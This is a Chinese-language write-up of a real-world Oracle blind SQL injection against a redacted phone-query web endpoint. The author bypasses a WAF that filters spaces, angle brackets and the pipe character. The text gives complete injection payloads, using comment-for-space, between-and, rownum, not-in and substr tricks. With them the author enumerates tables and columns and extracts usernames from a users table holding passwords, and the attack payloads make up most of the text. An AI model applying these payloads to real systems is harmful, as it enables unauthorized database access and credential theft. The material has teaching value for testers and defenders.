關于oracle注射獲取數據的實戰文章還是比較少的,比較多的都是寫寫思路或者羅列一些payload就結束了,再比較好一點的也就是繞個WAF獲取個庫名,真的把數據跑出來的文還是寥寥無幾的,也許是因為工作或SRC要求如此吧,但是真的去跑數據的時候還是會遇到各種挑戰的,且與君共享一篇oracle注射獲取數據的文吧。

0x00 sqlmap梭哈?

經典盲注

http://xxx.xxx.xxx/queryByPhone?card=1&phone=13111111111'and'1'like'1&companysID=1

http://xxx.xxx.xxx/queryByPhone?card=1&phone=13111111111'and'1'like'2&companysID=1

典型的盲注,判斷出注入后,多數情況下會想到sqlmap梭哈,但是結果卻是這樣的:

sqlmap也很溫馨的提示了,說是可以添加tamper腳本進行嘗試,玩了一段時間注入的到這里很容易就想到了可能遇上安全防護了,當然這是后話,我們可以根據sqlmap的提示接著往下走,比如--tamper=space2comment

有結果了,瞬間對sqlmap又燃起了希望,接著跑庫名試試

未果,繼續根據提示進行操作

GG,這次不得行了,到這里單純靠sqlmap顯得不靠譜了,接下來就需要去摸清服務端的過濾規則了。

0x01 Fuzz黑名單注出庫名

通過第一步得知空格被過濾了,輸入被過濾的字符,看看服務端的響應:

服務端給出了友好提示,那我們直接fuzz字符,然后根據服務端響應就可以摸清過濾規則了

第一種,直接fuzz(%00-%ff)

第二種,自定義字符字典(記得選中編碼,GET請求URI中的特殊字符多數是需要url編碼的,否則服務端會返回400)

很明顯的看到<和>被過濾了,還有一個比較常用的|字符被干掉了,知道了這兩點,其實跑個庫名就很簡單了,用between and替代大于小于號就行,繼續利用sqlmap的tamper腳本

多數情況下挖到這里其實就可以交差結束戰斗了,但是畢竟2023年第一個oracle注入,必須跑出數據呀,直接sqlmap

意料之中,因為|被干掉了,sqlmap跑oracle數據的payload中借助了|符號(掛個代理看payload發現的) (sqlmap.py --purge可以清除歷史記錄喲)

0x02 半手工出數據


根據oracle數據庫中固有的字段來跑數據

user_tables table_name

user_tab_columns column_name

通過rownum和not in進行單行數據輸出

比較幸運的是length、substr、逗號都沒有被干掉

具體操作如下:

1、獲取表的數量

payload:

13111111111'and/**/(select/**/count(table_name)/**/from/**/user_tables)=/**/1/**/and'1'like'1

2、獲取表名

先判斷第一個表名長度

payload:

13111111111'and/**/(select/**/length(table_name)/**/from/**/user_tables/**/where/**/rownum=1)=/**/1/**/and'1'like'1

借助burp判斷第一個表名長度:14

獲取表名數據

payload:

13111111111'and/**/(select/**/substr(table_name,1,1)/**/from/**/user_tables/**/where/**/rownum=1)=/**/'A'/**/and'1'like'1

(oracle數據庫的庫名、表名、字段都是需要大寫的,還有常見的字符如、$和數字,其中$需要進行url編碼喲)

其它字符以此類推,最終注出第一個表名:BA******NEWS

注出了第一個表名,后續表名借助rownum實現即可判斷第二個表名長度,只要not in第一個表名即可

payload:

13111111111'and/**/(select/**/length(table_name)/**/from/**/user_tables/**/where/**/rownum=1/**/and/**/table_name/**/not/**/in/**/('BA******_NEWS'))=/**/§1§/**/and'1'like'1

后續字符以此類推,其它表名玩法一樣。

3、獲取列名

先判斷第一個列名長度

payload:

13111111111'and/**/(select/**/length(column_name)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1)=/**/'§1§'/**/and'1'like'1

獲取第一個列名字符

payload:

獲取第一個列名字符

payload:

13111111111'and/**/(select/**/substr(column_name,1,1)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1)=/**/'§1§'/**/and'1'like'1

獲取其它列名的方法和獲取表名一樣,借助not in實現

還是同樣的先判斷列名長度

13111111111'and/**/(select/**/length(column_name)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1/**/and/**/column_name/**/not/**/in/**/('ID'))=/**/'§1§'/**/and'1'like'1

再一一獲取列名字符

13111111111'and/**/(select/**/substr(column_name,1,1)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1/**/and/**/column_name/**/not/**/in/**/('ID'))=/**/'§1§'/**/and'1'like'1

……

這里也可以寫腳本跑哈,我比較懶,就直接burp操作了一波,跑出一些可能包含敏感數據的表名就停下,然后跑其中的數據就行。

4、獲取敏感數據

經過了一段時間的注入,獲取到了一個敏感表名:BA******_USERS,對應的字段:USERNAME,PASSWORD

接下來就直接獲取對應的數據就行了,跑出一兩條,證明危害即可哈。

先判斷第一個用戶名長度

13111111111'and/**/(select/**/length(USERNAME)/**/from/**/BA******_USERS/**/where/**/rownum=1)='§1§'and'1'like'1

跑數據

13111111111'and/**/(select/**/substr(USERNAME,§0§,1)/**/from/**/BA******_USERS/**/where/**/rownum=1)='§1§'and'1'like'1

按順序組合即可獲取對應數據:ba******admin獲取PASSWORD字段內容方法同上。

0x03 總結

猶豫了兩天,終于寫了這個文,竟然用了兩個小時的時間,寫的還算比較細了,整個思路和利用過程基本都寫到了,就這樣吧,以后估計也不會如此細致的寫注入的文了,且看且珍惜。